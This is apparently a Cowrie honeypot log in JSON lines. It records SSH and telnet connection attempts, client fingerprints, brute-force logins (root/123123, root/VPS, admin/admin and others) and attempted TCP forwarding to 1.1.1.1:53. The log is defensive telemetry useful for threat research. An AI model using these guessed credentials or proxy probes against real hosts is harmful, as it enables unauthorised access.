{"eventid":"cowrie.session.closed","duration":12.470616340637207,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:41:45.945051Z","src_ip":"177.189.182.24","session":"0ba5841eedb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33896,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f7e2d6a3ef","protocol":"telnet","message":"New connection: 174.138.46.234:33896 (159.203.135.109:23) [session: b1f7e2d6a3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:24.504068Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33802,"dst_ip":"159.203.135.109","dst_port":23,"session":"80716373448a","protocol":"telnet","message":"New connection: 174.138.46.234:33802 (159.203.135.109:23) [session: 80716373448a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:25.116657Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19d834ec6c0","protocol":"telnet","message":"New connection: 174.138.46.234:34280 (159.203.135.109:23) [session: a19d834ec6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:25.689081Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d903329cf67","protocol":"telnet","message":"New connection: 174.138.46.234:33708 (159.203.135.109:23) [session: 6d903329cf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:26.874155Z"}
{"eventid":"cowrie.session.closed","duration":3.639399290084839,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:28.755957Z","src_ip":"174.138.46.234","session":"80716373448a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.982319593429565,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:31.671265Z","src_ip":"174.138.46.234","session":"a19d834ec6c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.6411802768707275,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:43:32.145132Z","src_ip":"174.138.46.234","session":"b1f7e2d6a3ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.4341254234314,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:44:22.308119Z","src_ip":"174.138.46.234","session":"6d903329cf67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62254,"dst_ip":"10.17.0.5","dst_port":22,"session":"10a85da59d6e","protocol":"ssh","message":"New connection: 87.251.64.176:62254 (10.17.0.5:22) [session: 10a85da59d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.225053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.231480Z","src_ip":"87.251.64.176","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.328717Z","src_ip":"87.251.64.176","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.617796Z","src_ip":"87.251.64.176","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.717543Z","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.816340Z","src_ip":"87.251.64.176","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:45:47.916393Z","src_ip":"87.251.64.176","session":"10a85da59d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":49804,"dst_ip":"10.17.0.5","dst_port":22,"session":"b61b50517d96","protocol":"ssh","message":"New connection: 181.123.136.11:49804 (10.17.0.5:22) [session: b61b50517d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:46:48.157754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:46:48.162648Z","src_ip":"181.123.136.11","session":"b61b50517d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:46:48.373399Z","src_ip":"181.123.136.11","session":"b61b50517d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:46:49.170462Z","src_ip":"181.123.136.11","session":"b61b50517d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:46:50.370232Z","src_ip":"181.123.136.11","session":"b61b50517d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.2.103.100","src_port":51116,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64a6748072f","protocol":"telnet","message":"New connection: 185.2.103.100:51116 (159.203.135.109:23) [session: a64a6748072f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:47:04.468421Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":58806,"dst_ip":"10.17.0.5","dst_port":22,"session":"500e69a1d446","protocol":"ssh","message":"New connection: 181.123.136.11:58806 (10.17.0.5:22) [session: 500e69a1d446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:00.731767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:00.736658Z","src_ip":"181.123.136.11","session":"500e69a1d446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.188.140","src_port":50834,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce07adbea2f","protocol":"ssh","message":"New connection: 209.99.188.140:50834 (10.17.0.5:22) [session: 2ce07adbea2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:00.845291Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:00.907364Z","src_ip":"181.123.136.11","session":"500e69a1d446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:00.981555Z","src_ip":"209.99.188.140","session":"2ce07adbea2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VPS","message":"login attempt [root/VPS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:01.677085Z","src_ip":"181.123.136.11","session":"500e69a1d446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:02.848473Z","src_ip":"181.123.136.11","session":"500e69a1d446","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:05.253902Z","src_ip":"185.2.103.100","session":"a64a6748072f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:48:05.302478Z","src_ip":"185.2.103.100","session":"a64a6748072f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e2ddcf12f9","protocol":"ssh","message":"New connection: 181.123.136.11:36558 (10.17.0.5:22) [session: 78e2ddcf12f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:13.419868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:13.429813Z","src_ip":"181.123.136.11","session":"78e2ddcf12f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:13.611107Z","src_ip":"181.123.136.11","session":"78e2ddcf12f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qx123456","message":"login attempt [root/Qx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:14.348799Z","src_ip":"181.123.136.11","session":"78e2ddcf12f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:15.528504Z","src_ip":"181.123.136.11","session":"78e2ddcf12f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46764,"dst_ip":"159.203.135.109","dst_port":23,"session":"489d530ac17d","protocol":"telnet","message":"New connection: 174.138.46.234:46764 (159.203.135.109:23) [session: 489d530ac17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:49:20.033347Z"}
{"eventid":"cowrie.session.closed","duration":53.66937804222107,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:13.702637Z","src_ip":"174.138.46.234","session":"489d530ac17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44962,"dst_ip":"10.17.0.5","dst_port":22,"session":"677ca37a8c47","protocol":"ssh","message":"New connection: 87.251.64.176:44962 (10.17.0.5:22) [session: 677ca37a8c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:20.608507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:20.613698Z","src_ip":"87.251.64.176","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:20.716624Z","src_ip":"87.251.64.176","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:21.008063Z","src_ip":"87.251.64.176","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:21.107938Z","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:21.206260Z","src_ip":"87.251.64.176","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:21.306013Z","src_ip":"87.251.64.176","session":"677ca37a8c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":44940,"dst_ip":"10.17.0.5","dst_port":22,"session":"863d9fa9a099","protocol":"ssh","message":"New connection: 201.217.12.57:44940 (10.17.0.5:22) [session: 863d9fa9a099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:25.308607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:25.315464Z","src_ip":"201.217.12.57","session":"863d9fa9a099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:25.491377Z","src_ip":"201.217.12.57","session":"863d9fa9a099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yj@123456","message":"login attempt [root/Yj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:26.227318Z","src_ip":"201.217.12.57","session":"863d9fa9a099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:50:27.404726Z","src_ip":"201.217.12.57","session":"863d9fa9a099","protocol":"ssh"}
